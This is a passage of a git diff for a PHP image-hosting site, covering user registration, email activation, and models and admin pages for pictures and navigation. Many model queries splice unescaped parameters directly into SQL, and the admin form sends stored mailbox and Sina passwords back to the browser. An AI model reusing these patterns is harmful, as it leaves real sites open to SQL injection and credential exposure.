(这是一封自动产生的Email,请勿回复) +EOT; + $Mail = new Mail($GLOBALS['appconfig']['host'],$GLOBALS['appconfig']['port'],$GLOBALS['appconfig']['auth'],$GLOBALS['appconfig']['user'],$GLOBALS['appconfig']['pass']); + if($Mail->send($r_email,'注册成功,请激活!',$html,$title)){ + $res = ['code'=> '0000','msg'=>'注册成功,请前往邮箱激活!' ]; + }else{ + $res = ['code'=> '0004','msg'=>'激活邮件发送失败,请重新注册!' ]; + } + return $res; + } + + // 生成验证码 + public function MakeCaptcAction(){ + $captcha = new ValidateCode(); + $captcha->Generate(); + } + + // 检测验证码 + private function VerifyAction(){ + $verifycode = isset($_POST['verifycode']) ? $_POST['verifycode'] : ''; + if(ValidateCode::Verify($verifycode)){ + return true; + } + return false; + } + + /** + * 用户激活 + */ + public function ActivateAction(){ + $token = isset($_GET['token']) ? $_GET['token'] :''; + if ($token!= '') { + $mysqli = Factory::M('UserModel'); + if($mysqli->activate($token,time(),$GLOBALS['appconfig']['etime']*3600)){ + if($mysqli->user_activate($token)){ + Msg("激活成功!","success","感谢您注册"); + }else{ + Msg("激活失败,请重试!", "error","出于不可抗力因素,到账您的账号激活失败"); + } + }else{ + Msg("激活链接无效或已过期!", "info","请返回页面重新注册"); + } + }else{ + Msg("参数有误!", "error","请不要随意修改链接"); + } + } +} \ No newline at end of file diff --git a/application/model/IndexModel.class.php b/application/model/IndexModel.class.php new file mode 100644 index 0000000..31c90f6 --- /dev/null +++ b/application/model/IndexModel.class.php @@ -0,0 +1,23 @@ +mysqli->getVersion(); + } + + /** + * 返回数据表前缀 + */ + public function getPrefix(){ + return $this->prefix; + } + +} \ No newline at end of file diff --git a/application/model/NavbarModel.class.php b/application/model/NavbarModel.class.php new file mode 100644 index 0000000..55bda4c --- /dev/null +++ b/application/model/NavbarModel.class.php @@ -0,0 +1,53 @@ +mysqli->fetchAll("SELECT * FROM {$this->prefix}navi $where limit $page, $limit"); + } + + /** + * 查询导航栏数量 + * @return [type] [description] + */ + public function navbar_count(){ + return $this->mysqli->fetch("SELECT count(*) FROM {$this->prefix}navi")['count(*)']; + } + + /** + * 显示或隐藏导航 + */ + public function navbar_hide($id,$hide = 'n'){ + return $this->mysqli->query("UPDATE {$this->prefix}navi SET hide = '{$hide}' WHERE id = '{$id}'"); + } + + /** + * 批量删除导航 + */ + public function navbar_del($navbarids){ + return $this->mysqli->query("DELETE FROM {$this->prefix}navi WHERE id in($navbarids)"); + } + + /** + * 修改一个导航 + * @return [type] [description] + */ + public function navbar_update($navbarName,$navbarUrl,$navbarHide,$navbarIcon,$id){ + return $this->mysqli->query("UPDATE {$this->prefix}navi SET naviname = '{$navbarName}', url = '{$navbarUrl}', hide = '{$navbarHide}', icon = '{$navbarIcon}' WHERE id = '{$id}'"); + } + + /** + * 增加一个新导航 + * @return [type] [description] + */ + public function navbar_add($name,$url,$hide,$iocn){ + return $this->mysqli->query("INSERT INTO {$this->prefix}navi (`naviname`,`url`,`hide`,`icon`) values('{$name}','{$url}','{$hide}','$iocn')"); + } +} \ No newline at end of file diff --git a/application/model/PicModel.class.php b/application/model/PicModel.class.php new file mode 100644 index 0000000..e4a2625 --- /dev/null +++ b/application/model/PicModel.class.php @@ -0,0 +1,65 @@ +mysqli->query("INSERT INTO {$this->prefix}pic (`pid`, `uid`, `date`,`ip`) values $values"); + } + + /** + * 随机返回指定n张图片 + */ + public function pic_rand($n){ + return $this->mysqli->fetchAll("SELECT * FROM {$this->prefix}pic order by rand() limit {$n}"); + } + + /** + * 查询所有图片信息 + * @param [type] $page [description] + * @param [type] $limit [description] + * @param string $where [description] + * @return [type] [description] + */ + public function pic_query($page,$limit,$where=''){ + return $this->mysqli->fetchAll("SELECT pic.*, user.username as username FROM {$this->prefix}pic as pic LEFT JOIN {$this->prefix}user as user ON pic.uid = user.uid $where ORDER BY pic.date DESC limit $page, $limit"); + } + + /** + * 查询所有图片数量 + */ + public function pic_count($where=''){ + return $this->mysqli->fetch("SELECT count(*) FROM {$this->prefix}pic $where")['count(*)']; + } + + /** + * 批量删除图片 + */ + public function pic_del($ids){ + return $this->mysqli->query("DELETE FROM {$this->prefix}pic WHERE id in($ids)"); + } + + /** + * 查询指定图片详细信息 + * @param [type] $pid 图片pid + * @return [type] [description] + */ + public function pic_details($pid){ + return $this->mysqli->fetch("SELECT pid,date,uid FROM {$this->prefix}pic WHERE pid = '{$pid}'"); + } + + /** + * 查询最新图片 + * @return [type] [description] + */ + public function pic_newest($page, $limit){ + return $this->mysqli->fetchAll("SELECT pid FROM {$this->prefix}pic ORDER BY id DESC limit {$page}, {$limit}"); + } +} \ No newline at end of file diff --git a/application/model/UserModel.class.php b/application/model/UserModel.class.php new file mode 100644 index 0000000..c2451fc --- /dev/null +++ b/application/model/UserModel.class.php @@ -0,0 +1,155 @@ +mysqli->query("INSERT INTO {$this->prefix}user (`username`, `password`, `time`, `email`,`activatecode`,`ip`) values ('{$u}','{$p}','{$m}','{$e}','{$t}','{$i}')"); + } + + /** + * 注册一个用户(重新发送邮件的) + * @param string $u 用户名 + * @param string $p 密码 + * @param string $m 注册时间 + * @param string $e 邮箱 + * @param string $t 唯一标识符 + * @return boot 成功返回true,失败返回false + */ + public function user_update($u,$p,$m,$e,$t){ + return $this->mysqli->query("UPDATE {$this->prefix}user SET username = '{$u}', password = '{$p}', time = '{$m}', email = '{$e}', activatecode = '{$t}' WHERE (username = '{$u}' || email = '{$e}') and activation = 'n'"); + } + + /** + * 查询用户名或邮箱是否注册 + * @param string $u 用户名 + * @param string $e 邮箱 + * @return array/false 成功返回array,失败返回false + */ + public function hasUserEmail($u,$e){ + return $this->mysqli->fetch("SELECT activation FROM {$this->prefix}user WHERE username = '{$u}' || email = '{$e}'"); + } + + /** + * 查询用户状态是否正常 + * @param string $u 用户名和密码 + * @return boot 失败返回false,成功查询结果 + */ + public function user_query($u,$p){ + return $this->mysqli->fetch("SELECT uid,username,role,isseal,activation FROM {$this->prefix}user WHERE username = '{$u}' and password = '{$p}'"); + } + + + /** + * 查询激活码是否有效(存在并且没有过期) + * @param string $t 唯一激活码 + * @param string $t 当前时间 + * @param string $t 有效时间 + * @return boot 成功返回true,失败false + */ + public function activate($token,$time,$etime){ + return $this->mysqli->fetch("SELECT 1 FROM {$this->prefix}user WHERE activatecode = '{$token}' and {$time} - time < {$etime}"); + } + + /** + * 激活用户 + * @param string $token 激活码 + * @return boot 成功返回true,失败返回false + */ + public function user_activate($token){ + return $this->mysqli->query("UPDATE {$this->prefix}user SET activation = 'y', activatecode = '' WHERE activatecode = '{$token}'"); + } + + /** + * 按条件查询所有用户 + * @param string $page 查询页数 + * @param string $limit 查询数量 + * @param string $where 查询条件 + * @return array 成功返回array,失败返回false + */ + public function user_queryAll($page,$limit,$where=''){ + return $this->mysqli->fetchAll("SELECT uid,username,role,time,ip,isseal,email,activation FROM {$this->prefix}user $where limit $page, $limit"); + } + + /** + * 查询所有用户数量 + */ + public function user_count(){ + return $this->mysqli->fetch("SELECT count(*) FROM {$this->prefix}user")['count(*)']; + } + + /** + * 批量删除用户 + */ + public function user_del($userids){ + return $this->mysqli->query("DELETE FROM {$this->prefix}user WHERE uid in($userids) and role != 'admin'"); + } + + /** + * 启用或禁用一个用户 + */ + public function user_seal($uid,$seal = 'y'){ + return $this->mysqli->query("UPDATE {$this->prefix}user SET isseal = '{$seal}' WHERE uid = '{$uid}'"); + } + + /** + * 查询指定用户信息 + * @return [type] [description] + */ + public function user_fetch($uid){ + return $this->mysqli->fetch("SELECT username,role,time,ip,photo,email FROM {$this->prefix}user WHERE uid = '{$uid}'"); + } + + /** + * 查询用户密码 + * @return [type] [description] + */ + public function user_pass($uid){ + return $this->mysqli->fetch("SELECT password FROM {$this->prefix}user WHERE uid = '{$uid}'"); + } + + /** + * 修改用户资料 + * @return [type] [description] + */ + public function user_modify($user,$pwd,$uid){ + return $this->mysqli->query("UPDATE {$this->prefix}user SET username = '{$user}', password = '{$pwd}' WHERE uid = '{$uid}'"); + } + + /** + * 修改用户头像 + * @return [type] [description] + */ + public function user_photo($photo,$uid){ + return $this->mysqli->query("UPDATE {$this->prefix}user SET photo = '{$photo}' WHERE uid = '{$uid}'"); + } + + /** + * 检测除自己以外用户名是否存在 + * @return [type] [description] + */ + public function user_isexis($user,$uid){ + return $this->mysqli->fetch("SELECT 1 FROM {$this->prefix}user WHERE username = '{$user}' and uid != '{$uid}'"); + } + + /** + * 返回指定ip在24小时内的注册数量 + * @return [type] [description] + */ + public function user_limitip($ip){ + return $this->mysqli->fetch("SELECT count(*) FROM {$this->prefix}user WHERE ip = '{$ip}' and (unix_timestamp(now()) - time) < (3600*24)")['count(*)']; + } +} \ No newline at end of file diff --git a/application/view/Admin/configure.php b/application/view/Admin/configure.php new file mode 100644 index 0000000..9e52dc3 --- /dev/null +++ b/application/view/Admin/configure.php @@ -0,0 +1,111 @@ + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
参数名参数值参数说明
开启注册是否允许游客注册
游客上传是否允许游客上传,开启后游客将可以上传图片
开启注册验证是否需要注册激活才能登录,开启后未激活账号将无法登陆
开启探索是否开启探索界面
注册限制一个ip在24小时内允许注册的数量
站点标题你网站的名字
站点副标题站点浏览器标题 = 站点标题 + 副标题
站点关键字keywords
站点描述description
网站备案号工信部备案号
首页底部信息支持html,可用于添加流量统计代码
新浪账号需要登录才能上传图片到新浪图床
新浪密码没有小号?点我购买(全新4级账号,随机送会员)
缩略图级别探索界面缩略图级别(0-7)
163邮箱账号用于用户注册发送验证码使用
163邮箱密码没有小号?点我购买(全新163账号,已开各种服务)
验证码有效时间注册验证码有效时间(小时)
+
+
+ + +
+
+
+ \ No newline at end of file diff --git a/application/view/Admin/footer.php b/application/view/Admin/footer.php new file mode 100644 index 0000000..80b9b78 --- /dev/null +++ b/application/view/Admin/footer.php @@ -0,0 +1,66 @@ + + + + + + + \ No newline at end of file diff --git a/application/view/Admin/header.php b/application/view/Admin/header.php new file mode 100644 index 0000000..a50dc27 --- /dev/null +++ b/application/view/Admin/header.php @@ -0,0 +1,51 @@ + + + + + + + <?php echo $_SESSION['authen']['role'] == 'admin' ? '管理后台' : '用户中心'?> - <?php echo configGet('title');?> + + + + + + +
+
+ + + +
+ +
\ No newline at end of file diff --git a/application/view/Admin/images/author.jpg b/application/view/Admin/images/author.jpg new file mode 100644 index 0000000000000000000000000000000000000000..50841d6134c76334dbdf40ef566c63ba8d5e7690 GIT binary patch literal 10086 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 literal 0 HcmV?d00001 diff --git a/application/view/Admin/index.php b/application/view/Admin/index.php new file mode 100644 index 0000000..33ceea5 --- /dev/null +++ b/application/view/Admin/index.php @@ -0,0 +1,89 @@ + +
亲爱的 + . 欢迎使用 图床 +
+ +
+
站点信息
+ + + + + + + + + + + + + + + + +
网站名称
当前版本V
开发作者阿珏
数据库表前缀
PHP版本
MySQL版本
最大上传限制
允许上传文件最大数
脚本最大执行时长
脚本最大消耗内存
脚本最大解析时长
服务器环境
GD图形处理库
+
+
+
官方消息
+ + +
+
+ + + + + + + + + + + +
网站名称
用户组普通用户
注册时间
注册IP
我的邮箱
我的托管
+ + \ No newline at end of file diff --git a/application/view/Admin/js/basicParameter.js b/application/view/Admin/js/basicParameter.js new file mode 100644 index 0000000..e2204c4 --- /dev/null +++ b/application/view/Admin/js/basicParameter.js @@ -0,0 +1,70 @@ +layui.use(['form','layer','jquery'],function(){ + var form = layui.form, + layer = parent.layer === undefined ? layui.layer : top.layer, + laypage = layui.laypage, + $ = layui.jquery; + + var systemParameter; + form.on("submit(systemParameter)",function(data){ + //弹出loading + var index = top.layer.msg('数据提交中,请稍候',{icon: 16,time:false,shade:0.8}); + $.post("UpdateAction",{ + register : $("input[name='register']:checked").val(), + tourist : $("input[name='tourist']:checked").val(), + verification : $("input[name='verification']:checked").val(), + explore : $("input[name='explore']:checked").val(), + limitip : $(".limitip").val(), + title : $(".title").val(), + keywords : $(".keywords").val(), + siteinfo : $(".siteinfo").val(), + description : $(".description").val(), + record : $(".record").val(), + footerinfo : $(".footerinfo").val(), + username : $(".username").val(), + password : $(".password").val(), + level : $(".level").val(), + user : $(".user").val(), + pass : $(".pass").val(), + etime : $(".etime").val(), + },function(res){ + + }) + setTimeout(function(){ + layer.close(index); + layer.msg("系统基本参数修改成功!"); + },500); + return false; + }) + + //加载数据 + $.ajax({ + url : "DataAction", + type : "get", + dataType : "json", + success : function(data){ + fillData(data); + } + }) + + //填充数据方法 + function fillData(data){ + $('#register').prop('checked', data.register == 'y' ? true : false); + $('#tourist').prop('checked', data.tourist == 'y' ? true : false); + $('#verification').prop('checked', data.verification == 'y' ? true : false); + $('#explore').prop('checked', data.explore == 'y' ? true : false); + $(".limitip").val(data.limitip); + $(".title").val(data.title); + $(".siteinfo").val(data.siteinfo); + $(".keywords").val(data.keywords); + $(".description").val(data.description); + $(".record").val(data.record); + $(".footerinfo").val(data.footerinfo); + $(".username").val(data.username); + $(".password").val(data.password); + $(".level").val(data.level) + $(".user").val(data.user); + $(".pass").val(data.pass); + $(".etime").val(data.etime); + form.render(); + } +}) diff --git a/application/view/Admin/js/navbarAdd.js b/application/view/Admin/js/navbarAdd.js new file mode 100644 index 0000000..1707d4e --- /dev/null +++ b/application/view/Admin/js/navbarAdd.js @@ -0,0 +1,27 @@ +layui.use(['form','layer'],function(){ + var form = layui.form + layer = parent.layer === undefined ? layui.layer : top.layer, + $ = layui.jquery; + + form.on("submit(addnavbar)",function(data){ + //弹出loading + var index = top.layer.msg('数据提交中,请稍候',{icon: 16,time:false,shade:0.8}); + $.post("AddAction",{ + navbarId : $(".navbarId").val(), + navbarName : $(".navbarName").val(), + navbarUrl : $(".navbarUrl").val(), + navbarIcon : $(".navbarIcon").val(), + navbarHide : $("input[name='navbarHide']:checked").val(), + },function(res){ + + }) + setTimeout(function(){ + top.layer.close(index); + top.layer.msg("导航添加成功!"); + layer.closeAll("iframe"); + //刷新父页面 + parent.location.reload(); + },500); + return false; + }) +}) \ No newline at end of file diff --git a/application/view/Admin/js/navbarList.js b/application/view/Admin/js/navbarList.js new file mode 100644 index 0000000..d989f44 --- /dev/null +++ b/application/view/Admin/js/navbarList.js @@ -0,0 +1,152 @@ +layui.use(['form','layer','table'],function(){ + var form = layui.form, + 